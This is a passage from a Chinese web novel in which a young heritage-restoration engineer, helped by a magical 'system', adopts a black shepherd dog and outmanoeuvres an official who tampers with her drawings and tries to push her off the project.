要知道,这只狗到他这儿快一年了,除了他,对谁都是一副生人勿近的样子,别说摇尾巴了,不呲牙就算好的! 时墨笑了,慢慢伸出手,放在了铁网格上。 黑背犹豫了一下,凑过来,用冰凉的鼻子轻轻碰了碰她的指尖,温热的舌头小心翼翼地舔了一下她的指腹,没有半分攻击性,甚至还蹭了蹭她的手指,像在撒娇。 【宿主!就这只!】系统瞬间激动起来,【骨架完美,毛色健康,反应速度、服从性、警惕性全是满分!而且它自己选了你!这种军犬后代,一旦认主,一辈子只认你一个人!绝对忠心!】 时墨抬起头,看向谢时昀,高兴地问道:“你觉得呢?” 谢时昀看着她眼里的笑意,还有黑背对她的亲近,笑着点了点头:“你喜欢就好,它跟你有缘。” “那就它了。”时墨毫不犹豫地做了决定。 张诚还是有点不敢相信,打开隔间门,试探着喊了一声。 黑背看都没看他,眼睛一直盯着时墨,张诚无奈地笑了:“得,这是真看上你了。我养了它一年,还不如你跟它对视一分钟。” 他把黑背的项圈、狗绳递过来,黑背乖乖地任由时墨把项圈戴上,温顺得不得了,跟刚才那副冷傲的样子判若两狗。 时墨付了钱,张诚又送了全套的狗用品,仔仔细细交代了喂养和训练的注意事项,才把他们送出了门。 时建军在旁边帮着搬东西,时墨牵着狗,那黑背乖乖地跟在她脚边,不叫不闹,稳当得很。 上了车,时墨坐在后座,黑背乖乖地趴在她脚边,大脑袋搁在她的鞋上,眯着眼睛打盹。 “想好叫什么了吗?”谢时昀从后视镜里看她,嘴角带着藏不住的笑意。 【宿主,我帮你查了!】系统立马冒出来,激动道,【古籍里记载的好狗名字有:青罡、墨玉、玄青、乌骓……】 “玄青?”时墨看着它浑身漆黑,“这名字不错。” “就叫玄青?”谢时昀问。 时墨点头:“嗯,玄青。” 时墨摸了摸玄青的头,玄青立刻抬起头,蹭了蹭她的手心,尾巴在地上扫来扫去。 “它喜欢这名字 。”时墨笑了。 回到家,穗穗正在纸箱里睡觉,听见动静,迷迷糊糊地抬起头。看见时墨牵着一只大狗进来,吓得一激灵,整个身子都炸毛了,缩在纸箱角落里,呜呜地叫,小身子抖个不停。 玄青进了屋子,先是警惕地扫了一圈,把整个屋子的环境都记在了心里,确定没有危险,才低头看向那个小黄团子,眼神淡淡的,低头闻了闻穗穗,鼻子轻轻拱了拱它,动作格外轻柔,生怕吓着它。 穗穗依旧吓得直往棉袄里钻,时墨赶紧把它捧起来,顺了顺它的毛:“别怕穗穗,这是你玄青哥哥,以后它罩着你,就没人敢欺负你了。” 穗穗缩在她手心里,小心翼翼地探出头,看了玄青一眼。玄青轻轻摇了摇尾巴,又凑过来闻了闻它,穗穗在主人手里没刚才那么怕了,小鼻子轻轻动了动,嗅了嗅玄青的味道。 没一会儿,穗穗就不怕了,从时墨手心里爬出来,扒着玄青的腿,奶声奶气地叫着,黏在它身边不肯走。玄青也不烦,就安安静静地趴在地上,任由穗穗在它身上爬来爬去,高傲的脑袋微微低着,眼里居然有了点温柔。 时墨看着这一幕,心都化了。 她蹲在玄青身边,摸着它油光水滑的背毛,温柔道:“玄青,以后这里就是你的家了,它叫穗穗,你们要好好相处哦。” 玄青像是听懂了,轻轻蹭了蹭她的手心,喉咙里发出舒服的呜咽声。 当天晚上,穗穗难得没有闹腾。 玄青就趴在纸箱边上,穗穗哼唧一声,它就抬头看一眼,用鼻子拱拱纸箱,穗穗就立刻安静了。 夜里外面有野鸟飞过,发出一点动静,玄青瞬间就抬起了头,警惕地看向窗外,喉咙里发出低低的警告声,确定没有危险,才又趴了回去。 这一夜,时墨睡了个久违的整觉,连梦都没做。 早上时墨给两只狗狗准备完早饭,跟家里人打了声招呼,就去了工地。刚进大门,她就敏锐地察觉到了不对劲。 平时热热闹闹的工地,今天安静得过分,木工棚里没有了往常刨木头、凿榫卯的声响,工人们都低着头干活,动作拘谨得很,连说话都压着嗓子,不敢大声。 院子里多了好几个穿中山装、拿着文件夹和图纸的生面孔,正对着施工的地方指指点点,眼神里满是挑剔。 更奇怪的是,平时早早就到工地的孙教授,今天居然没看到,连跟她最熟的王师傅,也不在门口的木工棚里干活。 时墨正纳闷,王师傅就从正房里快步走了出来,一把拉住她的胳膊,把她拽到了旁边的僻静角落,脸色凝重得很。 “时工,你可来了!”王师傅压低声音,语气里满是焦急和愤怒,“出事了!” 时墨心里一沉:“王师傅,别急,慢慢说,到底怎么了?孙教授呢?” “孙教授在里面跟人吵架呢!”王师傅咬着牙,一脸的愤愤不平,“来了一帮人,说是市文保局新派来的,叫什么项目协作组,领头的叫林文彬,拿着红头文件,说是来协助咱们完成修缮项目的,协助个屁!我看他就是来摘桃子的!” 他声音压得更低了,急得额头都冒了汗:“你想啊,咱们刚把主梁的问题解决了,扒梁也做好了,最难啃的硬骨头都啃下来了,工程马上就要出成果了,他们就来了,哪有这么巧的事?明摆着就是看这个项目是国家级的,容易出成绩,过来抢功劳的!” 时墨心里一沉,面上不动声色。 “孙教授气坏了,跟他们吵了一早上了,可对方是文保局派来的,拿着正式文件,孙教授暂时也没法跟他们硬刚,只能先忍着。”王师傅顿了顿,又满脸担忧地补充,“时工,你可千万小心点。这帮人来者不善,刚才就问起你了,听说你是这个项目的技术负责人,还是个十八九岁的小姑娘,那眼神立马就不对了。我估摸着,他们肯定会先拿你开刀,先把你踢出去,再一步步架空孙教授,把整个项目攥在手里!” 王师傅话音刚落,不正房的门开了,一个四十来岁的中年人走了出来。他穿着崭新的蓝棉袄,戴着金丝眼镜,头发梳得一丝不苟,背着手,一副领导派头。孙教授跟在后面,脸色铁青,眉头拧成了疙瘩。 中年人转过头来,一眼就看见了时墨。他推了推眼镜,笑着走过来,语气温和,眼神却带着几分轻蔑审视:“这位就是时墨同志吧?久仰久仰。” 他上下打量了时墨一圈,皮笑肉不笑地开口道:“我早就听孙教授说,我们这个项目里,有个十八九岁的女同志,天赋异禀,年纪轻轻就当了技术负责人,说这个工程能顺利推进,多亏了你。今天一见,果然是年轻有为啊。” 时墨笑了笑,客气道:“您过奖了,我就是跟着孙教授和各位老师傅打打下手,学了点皮毛,项目能推进,全靠孙教授把控方向,还有各位老师傅的手艺。” “年轻人谦虚是好事。”林文彬点了点头,话锋瞬间一转,“不过我听说,前几天你家里出了事,受了惊吓,这几天也没休息好,你看这黑眼圈都出来了。年轻人,工作要努力,但身体也要注意。” 他笑着要拍拍时墨肩膀,被时墨侧身躲开,便背过手道:“毕竟这项目是国家级的文保工程,一丝一毫都不能出差错。要是因为你原因,耽误了工程进度,或者出了什么纰漏,那责任可就大了,不仅毁了这个项目,你自己也担不起,你说是不是?” 这话听着是关心,实则句句诛心——明着暗着说她年纪小、状态差、影响工程进度,不配当这个技术负责人,识相的就该主动退出,别占着位置。 时墨脸上的笑淡了下去,刚要开口反驳,林文彬身后的一个跟班,就拿着一叠图纸快步走了过来,谄媚地递到林文彬面前:“林主任,您看,这是我们团队连夜做的新修缮方案,比之前那个小打小闹的方案更完善,也稳妥多了!” 林文彬接过图纸,瞥了时墨一眼,把图纸递给了她:“时同志,你也看看。这是我们团队做的新方案,推翻了之前你们那个扒梁加固的方案,我们决定,直接更换主梁,用新料重做,一劳永逸,比你们那个修修补补的方案,靠谱多了。” 时墨低头看向图纸,瞳孔瞬间缩紧。 更换主梁,重做隔扇窗和廊柱?! 这不仅是要推翻她之前所有的设计,更是要毁掉梅先生故居的核心原构件,彻底违背了文保修缮“不改变文物原状、修旧如旧”的核心原则! 甚至连文保法的红线都踩了! 她猛地抬起头,看向林文彬,眼神瞬间冷了下来,手里的图纸被她攥得发皱。 林文彬看着她难看的脸色,脸上的笑意更盛了,仿佛笃定了,她这个小姑娘根本翻不起任何浪花。 第69章 时墨深吸一口气, 突然笑了,抬眼看向他,字字清晰, 掷地有声:“林主任, 我看完了。您的这个方案, 不行。” 林文彬脸上的笑瞬间僵住。 “林主任, ”时墨将手中的图纸举起,反问道,“您这个方案,报批了吗?” 林文彬一愣:“什么?” “文保修缮,更换核心原构件, 必须上报国家文物局审批, 拿到正式批文才能动工。”时墨一字一顿道,“您的批文呢?” 林文彬脸色微变, 干笑两声:“批文正在走流程, 很快就会下来。我们先把方案定好,批文一到就能动工, 不耽误时间。” “批文没下来, 就不能动工。”时墨把图纸递回去, 语气平静却不容置疑, “这是《文物保护法》的规定, 您不会不知道吧?” 周围与时墨合作已久的老工匠们都暗暗点头,看向林文彬的眼神多了几分不屑。孙教授站在后面,终于露出了笑脸。 林文彬脸上的笑彻底挂不住了, 他推了推眼镜,语气沉了下来:“时墨同志,你这是在质疑我们?” “林主任, 我不是质疑您,我是在遵守法律。”时墨礼貌微笑,让人挑不出任何错处,“再说了,我们现有的扒梁加固方案,已经得到了文物局专家的认可,施工也进行了一大半。现在突然推翻,不仅浪费国家的钱,还会延误工期。这个责任,谁担?您吗?” 林文彬被噎得说不出话,脸色青一阵白一阵。 他身后的跟班见状不对,连忙打起圆场:“林主任,时墨同志说得也有道理,要不咱们先回去再研究研究……” “研究什么研究!”林文彬瞪了他一眼,转头看向时墨,语气软了几分,但眼神还是阴的,“时墨同志,你的方案确实有可取之处,但我们是上级派来的协作组,有责任对项目进行优化。这样吧,你把你的方案和图纸给我一份,我们回去研究研究,看看能不能结合一下。” 时墨看着他,心里冷笑。这人嘴上说“结合”,分明是想把她的方案改头换面,变成他自己的成果。 “林主任,”她笑了笑,“图纸和方案都在孙教授那里,您找他要就行。我只负责技术,不负责交接。” 时墨这话说得滴水不漏,既没拒绝,又把球踢给了孙教授。 林文彬回头看向孙教授,孙教授赶紧收起笑容,面无表情地点了点头:“回头我让人复印一份给你。” 林文彬咬牙,挤出一句“那就麻烦孙教授了”,转身带着人走了。 他一走,院子里紧绷的气氛瞬间松了下来。 王师傅率先竖起大拇指:“时工,好样的!这种钻营的小人,就该这么治!” 周围的老工匠们也纷纷附和,看向时墨的眼神里,敬佩又多了几分。 他们干了一辈子古建,最恨的就是这种不懂装懂、只会抢功劳的官油子,时墨刚才那番话,句句踩在点子上,既守了规矩,又说得对方抓不住话柄,实在是解气。 孙教授走过来,拍了拍时墨的肩膀,眼里满是欣慰:“丫头,你今天这一手,漂亮。不过林文彬这个人最是记仇,今天当众让他下不来台,他绝对不会善罢甘休的。你以后在工地上,凡事留个心眼,千万别大意。” 时墨点了点头:“孙教授,我知道。” 她转头看了一眼林文彬消失的方向,眼神沉了下来。 她心里清楚,这人绝对不是来简单“协作”的,他盯着的是这个国家级项目的功劳簿,是靠着这个项目往上爬的资本。而自己这个挡了他路的“黄毛丫头”,必然是他第一个要拔掉的钉子。 但她不怕。 这个工程,她从头跟到尾,每一根梁、每一块砖、每一处榫卯,她都清清楚楚。图纸是她画的,方案是她定的,料是她跑遍半个京城找的。想摘她的桃子,没那么容易。 接下来的几天,时墨在工地上多了多了十二分小心。她让系统开启了全时段实时扫描,重点监控林文彬那几个人的动向。 【宿主放心,实时监控已开启!】系统信誓旦旦,【他们的一举一动都在我的监控范围内,有任何风吹草动,我将第一时间汇报!】 可下一秒,它的语气就垮了下来,【不过宿主,我只能监控你在工地现场的时段,你下班离开后,他们要是偷偷搞鬼,我就覆盖不到了。除非你在商城兑换定点隐蔽监控器,能24小时无死角录屏,还能同步传输画面。】 【我花钱买那个不如给你加班费。】 系统突然犯了难:【宿主,长期加班监控要扣我的绩效,而且持续扫描的能量消耗太大,你现在账户里的额度,撑不了半个月的全时段监控。要是都用在这上面,你兜里可就一点余粮都没了,万一遇到紧急情况,连个应急的道具都换不了。】 时墨扶额,她竟忘了这茬。 真是,一到用钱,方恨少。 现在她来钱、变现的渠道太有限,周期性长,还不稳定,确实经不起这么造。 【那你给我选一个功能差不多够用的就行。】 【好的,已为您筛选完毕!】 系统立刻调出面板。 【基础型监控器:可覆盖半径五十米范围,实时监控目标区域内人员活动,支持录像回放,有效期限三十天。兑换价格:800能量币。】 【加强型监控器:可覆盖半径两百米范围,支持夜视、音频采集、移动警报,有效期限九十天。兑换价格:1500能量币。】 【专业型监控器:可覆盖半径五百米范围,支持人脸识别、轨迹追踪、多目标锁定,有效期限一年。兑换价格:5000能量币。】 【宿主,我建议您选加强型。】系统贴心推荐,【林文彬那伙人晚上搞鬼的可能性很大,夜视功能很有必要。而且有效期限长,够用到项目结束了。】 时墨看了眼自己的能量币余额,心疼道:【换加强型。】 【好嘞!已扣除1500能量币,加强型监控器已部署至梅先生故居工地办公室,覆盖范围包括办公室、材料仓库、正房施工区及周边通道。宿主可通过系统面板随时查看实时画面和回放记录。】 时墨这下放心了。 她没猜错,林文彬这种靠着钻营往上爬的人,最是记仇、最要面子,当众被一个十八九岁的小姑娘怼得下不来台,怎么可能善罢甘休。 不出三天,他的阴招就来了。 这天时墨刚到工地,就发现办公室里的施工图纸被人动过了。 她昨天临走前特意在图纸袋的封口处夹了一根头发丝,还在袋口打了自己惯用的活扣蝴蝶结,现在头发丝掉在了地上,蝴蝶结也变成了死结,连图纸折痕的暗记都变了位置。 她打开图纸袋,抽出里面的施工图,一眼就看出了问题——主梁加固的关键节点标注被涂改过,原来的尺寸数据和榫卯结构图被人刀片刮掉,旁边用铅笔写了几行新数据,字迹潦草,明显不是她的手笔。 这改动看着不起眼,实则阴毒至极。按照改过的图纸施工,扒梁和原梁的榫卯咬合会出现至少三毫米的缝隙。三毫米看着不大,但对于古建筑的承重结构来说,足以导致整个梁架受力不均,时间长了,轻则梁架变形开裂,重则直接坍塌。 到时候林文彬就能把所有责任都推到她头上,说她原始图纸设计错误、技术不过关,不仅能顺理成章把她踢出项目,还能彻底毁了她在古建行里的名声,让她再也吃不了这碗饭。 时墨拿着图纸,指尖微微收紧,压下火气。 【宿主!昨晚半夜两点十七分,林文彬的助手赵志强溜进了办公室,在图纸上动了手脚!】系统从监控器里调出画面,【全过程已被记录!要不要放给你看?】 【先存着,以后有大用。】时墨面不改色地把图纸收起来,转身去找了孙教授。 孙教授接过图纸,看到上面的涂改,脸色瞬间沉了下去,猛地一拍桌子站了起来,气得手都在抖:“混账!简直是混账!这是要害人害己!三毫米的误差,梁架要是塌了,出了人命,谁担得起?!” “孙教授,您别急。”时墨把图纸摊开,指着被涂改的地方,冷静地分析,“这个人的手法很粗糙,一看就不是懂行的人干的。真正的内行要改图纸,不会改得这么明显,至少会把痕迹处理干净,尽量做得天衣无缝。他这么做,更像是在试探我。” 孙教授愣了一下,推了推眼镜,凑近看了看,眉头皱得更紧了:“你是说……” “对。”时墨点头,“他想看看我会不会发现图纸被动了,发现了之后会怎么处理。如果我没发现,按照改过的图纸施工,出了事故,责任全在我。如果我发现了,闹大了,他也可以把锅全甩给赵志强,说是‘临时工手误’,把自己摘得干干净净。不管哪种结果,他都不吃亏。” 孙教授听完,沉默了好一会儿,叹了口气:“你这丫头,脑子转得比我快这老头子快多了,看事情也透。那你的打算是?” “图纸我重新画一份,原图纸封存,作为证据。”时墨把改过的图纸收起来,“这事先不声张,就当我们没发现。让他们以为我们好糊弄,等他们露出更大的马脚,再一次性算总账。现在跟他们掰扯,只会打草惊蛇。” 孙教授看着眼前这个年纪轻轻,却心思缜密、临事不乱的姑娘,眼里满是赞许,重重地点了点头:“好,就按你说的办。有什么事,我给你兜着。” 中午吃饭的时候,林文彬的助手赵志强晃悠到工地上,笑眯眯地凑到了时墨身边,假意关心:“时工,听说昨晚图纸出了点小问题?要不要我帮忙看看?我们林主任带了好几个设计院的老工程师,这点小事,手到擒来。” 时墨抬头看了他一眼。这人三十出头,长得白白净净,看着斯斯文文的,眼神却飘忽不定,一看就是来打探消息的。 “没什么大事。”时墨笑了笑,语气随意得像在说一件无关紧要的小事,“就是图纸上有个尺寸标错了,我已经改过来了。孙教授说年轻人难免粗心,让我下次多注意点,没什么大不了的。” 赵志强的眼神闪了闪,干笑两声:“那就好,那就好。时工辛苦了,有什么事尽管吩咐我们,别客气。” “不辛苦,分内的事。”时墨低头继续吃饭,不再理他。 赵志强讪讪地走了,转身进了林文彬的临时办公室。 【宿主,他去找林文彬汇报了!】系统实时转播着办公室里的对话,【林文彬问他‘她发现了吗’,他说‘发现了,但以为是自己画图手误,没起疑心’。林文彬说‘一个小丫头片子,能有多大道行,继续盯着’。】 时墨冷笑一声,没说话。她倒要看看,林文彬接下来还能耍出什么花样。 下午,时墨重新画好了图纸,交给王师傅。王师傅接过图纸,看了一眼,眉头皱了起来:“时工,这尺寸跟昨天的好像不太一样?” “改了。”时墨没多解释,“王师傅,您就按这张新的做,昨天的图纸作废。” 王师傅是老江湖了,一看时墨的表情,就明白了七八分。他点了点头,把图纸收好:“行,你放心。” 林文彬的第二个招数,来得比她预想的更快,也更阴损。 一周后,文保局突然来了两个人,说是要对项目进行中期检查,带队的是文保局工程科的副科长,也是林文彬的老熟人。 孙教授陪着他们在工地上转了一圈,时墨跟在旁边,两人看得格外仔细,问了施工进度、材料来源、工艺标准,还对着梁架、图纸拍了不少照片,态度看着公事公办,眼神却总往时墨身上瞟。 临走的时候,带队的副科长忽然停下脚步,似笑非笑地问:“孙教授,听说这个项目的核心技术负责人,是个还没满二十的小姑娘?还在上高中?” 孙教授脸色一变,刚要开口维护,时墨已经笑着上前一步,不卑不亢地接话:“您好,我是时墨,主要负责项目的绘图和现场技术指导。不过项目总负责人是孙教授,所有技术方案都是孙教授牵头审定的,我只是在孙教授的指导下,做些辅助工作。” 副科长点点头,上下打量了她一眼,没再说什么,只是在本子上记了几笔,就带着人走了。 当天晚上,孙教授打来电话,声音里带着怒气:“墨墨,林文彬那个王八蛋,给局里打了正式报告,说我们项目组任用无资质、无经验的在校高中生担任核心技术岗位,项目存在重大安全隐患,要求局里立刻重新评估技术负责人的人选,把你从项目里清出去!” 时墨握着电话,沉默了两秒:“孙教授,局里怎么说?” “局里没直接表态,说要开会‘研究研究’。”孙教授咬着牙,“这就是林文彬的套路,他不敢直接动我这个项目总负责人,就拿你开刀!你要是被拿掉了,他就能安插他自己的人进来,到时候整个项目的技术权、话语权,就全落到他手里了!” “孙教授,您别急。”时墨的声音很平静,“他说的是事实,我确实还没满二十,也确实是高中生,他拿这个做文章,我没法反驳。但文保项目看的是方案的科学性、严谨性,是能不能把活干好,不是看年龄、看职称。这样吧,明天我准备一份完整的材料,把我从项目启动到现在,参与的所有工作、做出的所有成果、解决的所有技术难题,都整理出来,附上图纸、现场记录、专家评审意见。局里要看的是能力,不是年龄。” 孙教授沉默了一会儿,鼓励道:“好丫头,有骨气。我跟你一起弄,我给你写推荐意见,局里的老领导和我父辈也是故交,他们信得过我。” 接下来的两天,时墨一头扎进了材料整理里。 她把从项目开始到现在,自己画的四十多张施工图纸、做的十几份力学计算书、每一次的现场勘查记录、解决白蚁侵蚀、主梁开裂等技术难题的完整方案,都整理得清清楚楚,附上照片、专家签字的评审意见,装订成了厚厚一册,逻辑清晰,证据详实。 工地上的老工匠们知道了这事,个个都义愤填膺。 王师傅拍着胸脯说:“时工,你放心,我们这些老家伙都站在你这边!林文彬那孙子,除了指手画脚,干过什么实事?他要敢把你弄走,我们集体罢工!这活,除了你,谁来我们都不认!” “对!罢工!”旁边的老工匠们纷纷附和,“我们干了一辈子古建,谁有真本事,我们门儿清!想抢时工的功劳,先过我们这关!” 时墨看着这群淳朴仗义的老工匠,心里暖烘烘的,笑着摆手:“各位师傅,谢谢大家。但这是国家项目,你们一定要好好干活,把活干好,就是对我最大的支持。我的事,我会好好解决的,不会让大家失望。” 材料整理好之后,孙教授亲自陪着时墨,送到了文保局。 局里的老领导翻完了厚厚的材料,又听孙教授详细说了时墨在项目里的作用,当场就拍了桌子,说林文彬“不务正业”,直接把他的报告驳了回去,还特意把时墨夸了一顿,说“英雄出少年,古建行就需要这样肯钻研、有真本事的年轻人”。 林文彬的阴招,再次落了空。 可他依旧不死心,当天就找到了孙教授的办公室,打着“为学生着想”的旗号,冠冕堂皇地说:“孙教授,不是我非要针对时墨同志。你看,马上就要开学了,她是高三学生,马上要高考,学业繁重,哪有精力全身心投入到这个国家级的项目里来?万一因为项目耽误了高考,孩子一辈子的事,我们谁担得起这个责任?” 他又补了一句,看似关心,实则句句带刀:“再说了,高三开学之后,她天天要上课,总不能天天往工地跑吧?项目到了最关键的主梁加固阶段,技术负责人天天不在现场,出了问题,谁负责?我这也是为了项目好,为了孩子好。” 这话堵得孙教授一时语塞。他没法反驳,时墨确实要开学,要高考,这是铁打的事实。林文彬拿着这个说事,他就算再想护着时墨,也没法说“高考不重要,项目更重要”。 时墨沉默了下来。 林文彬这招确实高明,打着“为她好”的旗号,站在了道德高地上,让她连反驳的余地都没有。她要是说自己不耽误学业,那就是逞强、不懂事;要是说学业和项目能兼顾,那就是不把高考当回事,落人口实。怎么说,都落了下乘。 “孙教授,我知道了,这事我来想办法。”时墨挂了电话往家走。 【宿主,这林文彬也太阴了!】系统愤愤不平,【明着不行就来暗的,暗的不行就来软的,我帮你盯着他,肯定能抓到他的把柄!】 【光盯着不够。】时墨在心里说,【他做事很小心,前两次阴招,都能把自己摘干净,光等着他露出破绽,太被动了。我得主动出击。】 【宿主你想怎么做?】 时墨没回答,脑子里转着各种念头。 回到家,穗穗直奔她而来,抱着她的脚踝,用小脑袋拱她的裤腿哼唧哼唧叫。玄青则绕着她的小腿转,尾巴慢慢扫着腿肚子,一双琥珀色的眼睛安静地看着她,像是察觉到她低迷的状态安慰她。 时墨弯腰把穗穗捧起来,小东西在她手心里蹭了蹭,眯着眼睛打呼噜。她又摸了摸玄青的头,玄青轻轻舔了舔她的手指,温热的触感让她紧绷的神经放松了不少。 看着两只狗狗,时墨忽然觉得,这一周玄青已经跟家里人混熟了,该带它去小院那边住了,正好明天是休息日,也能趁机喘口气,换换脑子。 * 第二天早上,时墨先给两只狗弄了早饭。穗穗现在已经开始吃泡软的馒头米汤了,小脑袋埋在碗里,吃得呼噜呼噜的。玄青吃得很快,吃完就安静地趴在旁边,等穗穗吃完,才起身活动。 时墨给玄青套上绳子,又把穗穗放进一个挎在肩上的布包里,小东西露出一个毛茸茸的脑袋,黑葡萄似的眼睛好奇地四处张望。 “走,带你们去看看咱们的院子。”时墨拍了拍玄青的脑袋,玄青立刻站直了身子,耳朵竖得笔直。 到了小院,时墨先开了门,松开了玄青的牵引绳。玄青站在门口,没有立刻冲进去,而是站在门口,竖起耳朵听了听院里的动静,鼻子轻轻嗅了嗅,确认没有危险,才迈着沉稳的步子走了进去。 它在院子里转了一圈,前院后院、屋里屋外,每一个角落都仔仔细细地巡查了一遍,连墙角的老鼠洞、砖缝都闻了一遍,在院门、屋门边上都做了标记,才回到时墨腿边,稳稳地蹲坐下来,像个尽职尽责的卫兵,眼神锐利地扫视着院门方向。 时墨看着它一本正经的样子,笑得不行,摸了摸它的头:“行啊玄青,以后这个家,就交给你守护了。” 玄青蹭了蹭她的手心,喉咙里发出舒服的呜咽声,尾巴轻轻晃了晃。 下午,时墨牵着玄青在胡同里遛弯,更是深刻体会到了什么叫“狗比人出名”。 玄青本就生得神俊,肩宽背阔,四肢修长有力,乌黑发亮的背毛没有一丝杂色,两只耳朵永远笔直地竖着,琥珀色的眼睛锐利又沉稳,走起路来昂首挺胸,不怒自威。路过几个邻居家门口,有狗叫了几声,玄青连眼皮都没抬一下。 一人一狗走在胡同里,回头率百分百。胡同里的大爷大妈、小孩们,都围过来看,七嘴八舌地夸: “哎哟,时丫头,你这狗真俊!从哪儿弄来的?” “姑娘,你这是黑背吧?看着可真威风!叫什么名字?” “这狗一看就是好狗,这体格,这毛色,少说也得上百块吧?” “姐姐,姐姐,我能摸一下吗?”一个背着书包的小男孩,怯生生地站在旁边问。 时墨笑着蹲下来,轻轻拍了拍玄青的头:“玄青,这是小朋友,不可以凶哦。” 玄青抬头看了小男孩一眼,没呲牙,也没低吼,只是微微侧了侧头,算是默许了。小男孩小心翼翼地伸出手,摸了摸它的背,兴奋得脸都红了。 一下午的功夫,整个胡同的人都认识了玄青,见了面,先跟玄青打招呼,再跟时墨说话。时墨哭笑不得,在心里跟系统感慨:【我算是发现了,不管哪个年代,大家都是先认狗再认人。跟后世住小区一样,天天遛狗碰见,都知道这是谁家的狗,狗主人叫啥,全脸盲。】 【可不是嘛!现在全胡同的人都认识玄青了,认识你的没几个!】系统笑得不行。 “这狗有灵性!”胡同口的大爷竖起大拇指,“好狗!比那些见了人就瞎叫的强一百倍!” 时墨笑着应了,牵着玄青继续走。 【宿主,别光顾着遛狗了!你这几天因为没完全躺平,已经被扣了八百能量币了!】系统忽然冒出来提醒,语气里带着几分无奈,【你要是再这么折腾下去,能量币很快就见底了。到时候触发惩罚,可别怪我没提醒你。】 时墨脸上的笑消失了:【扣了这么多了?】 【你以为呢?每天在工地上爬上爬下,画图纸、盯施工、跟林文 彬斗智斗勇,哪一样是放松身心躺平的?我在,还能睁一只眼闭一只眼没跟你计较,但系统规则是死的,该扣还是得扣。】 时墨叹了口气,知道自己最近确实没做到。系统给她的“躺平”规则,不是闹着玩的,能量币要是扣到负数,惩罚就不是闹着玩的了,而且能量币确实是好东西,她必须保证一定数额。 【我知道了,我会注意的。】她在晃动手中的狗绳,【你看,我这不正遛狗呢嘛,也算悠闲时光,能补回来点吧?】 【遛狗算轻度休闲活动,确实符合躺平原则,可以缓慢恢复能量币。】系统顿了顿,忽然语气一变,【宿主,我有个建议,你想不想听?】 【说。】 【系统商城里有个商品,叫‘宠物助力小拉车’,专门给大型犬设计的,可以让狗拉着人走。你买了这个,让玄青拉着你在胡同里溜达,你连路都不用走了,百分之百符合躺平原则,还能赚更多能量币!】 时墨愣了一下,低头看向身边威风凛凛、体格健壮的玄青,又抬头看了看长长的胡同,瞬间打开了新世界的大门。 【对啊!我怎么没想到!】 【系统商城应有尽有!只要能量币够,什么都能买到!】系统语气里满是得意,【这个小拉车只要三百能量币,不贵,而且可以一直使用到坏掉。你想想,以后出门买菜、去工地、在胡同里转悠,都不用自己走路了,让玄青拉着你,多省事!这才是真正的躺平!】 时墨被系统说得心动了。她看了看玄青,玄青也仰头看她,尾巴轻轻摇了摇。 【最近能量币消耗的多,你这有没有设计图纸?】时墨现在开始精打细算起来。 【有,五十能量币一张。】 【来这个。】 【好嘞!已扣除五十能量币!宠物助力小拉车图纸已发放至系统空间,宿主随时可以取用!】 时墨开心地拍拍玄青的头:“过两天给你弄个好玩的。” 玄青叫了一声,也不知道听懂了没有。 遛完狗回来,时墨给玄青弄从家带来的狗饭。穗穗已经趴在窝里睡着了,小肚子一起一伏的。 时墨一边拌狗饭,一边絮絮叨叨地叮嘱道:“玄青,你记住了啊,除了我、爸妈、哥哥给的东西,外面谁给的吃的都不能碰,尤其是陌生人递的,闻都不能闻,万一有人下药呢?” 玄青坐在地上,仰头看着她,耳朵竖着,听得很认真,“呜”了一声,蹭了蹭她的腿。 “还有,陌生人进院子,你要叫,但不能随便咬人。吓唬吓唬就行了,真咬了人,咱们得赔钱,还得被人说闲话。你分得清好坏人吧?坏人必须拦住!你肯定分得清,你这么聪明……” 时墨絮絮叨叨说了半天,自己都觉得有点啰嗦了,但玄青一直安安静静地听着,时不时歪一下头,像是在回应。 “行了,就这些,吃饭吧。”时墨把狗盆放在地上,玄青低头吃了起来,吃得不急不慢,一粒粮食都没撒出来。 时墨蹲在旁边看它吃,正想再唠叨几句,院门忽然被人敲了两下。 “墨墨?在家吗?”是谢时昀的声音。 时墨眼睛一亮,擦了擦手快步走过去开了门。 谢时昀站在门口,穿着一件深灰色的夹克,手里拎着个牛皮纸袋,看见她,嘴角微微弯了一下。 “正想找你呢!快进来。”时墨笑着侧身让他进来。 谢时昀进了院子,一眼就看见了蹲在食盆边的玄青。玄青抬起头,看了他一眼,又低头继续吃饭,连站都没站起来,一副高冷的样子。 “今天开始放到这边养了?”谢时昀走过去,打量着玄青,语气里带着笑意。 “嗯,让它认认门,以后就靠它看家了。”时墨拍了拍玄青的头,“玄青,这是谢时昀,自己人,不许凶哦。” 玄青又抬头看了谢时昀一眼,这回多看了两秒,然后站起来,走到谢时昀脚边,闻了闻他的裤腿,又转身回去继续吃饭了。整个过程面无表情,既没有摇尾巴表示友好,也没有龇牙表示敌意,就是一副“我知道了,但跟我没关系”的样子。 谢时昀笑道:“它果然很有个性。” “那是,我们玄青可是有脾气的。”时墨一脸骄傲,像在夸自己家孩子。 谢时昀把手里的纸袋递给她:“前门老字号的点心铺,早上排队买的,买多了,这些你拿着吃。” “买多了?”时墨像是不知道谢时昀的心意,当着他的面打开纸袋,看到是她喜欢吃的那几款,眼里闪过一丝了然,故意惊喜道,“都是我喜欢吃的!你怎么知道我喜欢这个?” 谢时昀耳尖微微泛红,轻咳一声,掩饰道:“碰巧买的,你喜欢就好。” “谢哥那我不跟你客气了。”时墨一副把谢时昀当长辈的模样,说道,“刘胖子的事我还没来得及谢你,这又拿你东西怪不好意思的。” 谢时昀垂目看时墨一副没开窍的笑眼:“不用跟我客气,刘胖子的事还需要再等等,快了。” “不着急,谢哥做事我信得过。对了,上次你说的那个做暗格的木工师傅,能帮我约一下吗?我想在屋里做几个暗格,另外——”时墨把手伸进外衣口袋,拿出放在系统那里的图纸,“我还想做个这种轻便折叠的小拉车,狗拉的,能遛弯拉人,还能放东西。我还想加个手刹,安全点,你看这里……” 时墨越说越兴奋,脸颊微微泛红,眼里闪着光,跟平时冷静沉稳的样子判若两人,鲜活又明媚。 谢时昀就站在一旁,安安静静地听着,目光追随着时墨的动作带着温柔的笑意。 他见过她自信挥斥方遒的样子,见过她对有敌意的人伶牙俐齿的样子,见过她面对危险时冷静镇定的样子,却还是第一次见她这样,像个真正的小女孩一样,兴奋地跟他分享自己的小想法,鲜活得让人心跳都慢了半拍。 时墨说了半天,才反应过来自己光顾着说,都没给谢时昀说话的机会,难得不好意思道,挠了挠鼻尖:“不好意思啊谢哥,我说得太多了。” 